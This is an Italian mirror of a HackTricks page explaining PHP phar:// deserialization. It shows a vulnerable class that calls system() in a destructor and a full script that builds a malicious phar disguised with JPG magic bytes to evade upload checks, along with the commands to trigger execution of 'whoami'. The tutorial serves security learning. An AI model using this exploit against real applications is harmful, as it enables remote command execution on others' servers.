mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
67 lines
2.1 KiB
Markdown
67 lines
2.1 KiB
Markdown
# phar:// deserialization
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
I file **Phar** (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**.
|
|
|
|
La cosa migliore di questa caratteristica è che questa deserializzazione avverrà anche utilizzando funzioni PHP che non eseguono codice PHP come **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**.
|
|
|
|
Quindi, immagina una situazione in cui puoi far sì che un web PHP ottenga la dimensione di un file arbitrario utilizzando il protocollo **`phar://`**, e all'interno del codice trovi una **classe** simile alla seguente:
|
|
```php:vunl.php
|
|
<?php
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
filesize("phar://test.phar"); #The attacker can control this path
|
|
```
|
|
Puoi creare un file **phar** che, una volta caricato, **sfrutterà questa classe per eseguire comandi arbitrari** con qualcosa come:
|
|
```php:create_phar.php
|
|
<?php
|
|
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
// create new Phar
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
|
|
|
// add object of any class as meta data
|
|
$object = new AnyClass('whoami');
|
|
$phar->setMetadata($object);
|
|
$phar->stopBuffering();
|
|
```
|
|
Nota come i **byte magici di JPG** (`\xff\xd8\xff`) siano aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\
|
|
**Compila** il file `test.phar` con:
|
|
```bash
|
|
php --define phar.readonly=0 create_phar.php
|
|
```
|
|
E eseguire il comando `whoami` abusando del codice vulnerabile con:
|
|
```bash
|
|
php vuln.php
|
|
```
|
|
### Riferimenti
|
|
|
|
{{#ref}}
|
|
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
|
{{#endref}}
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|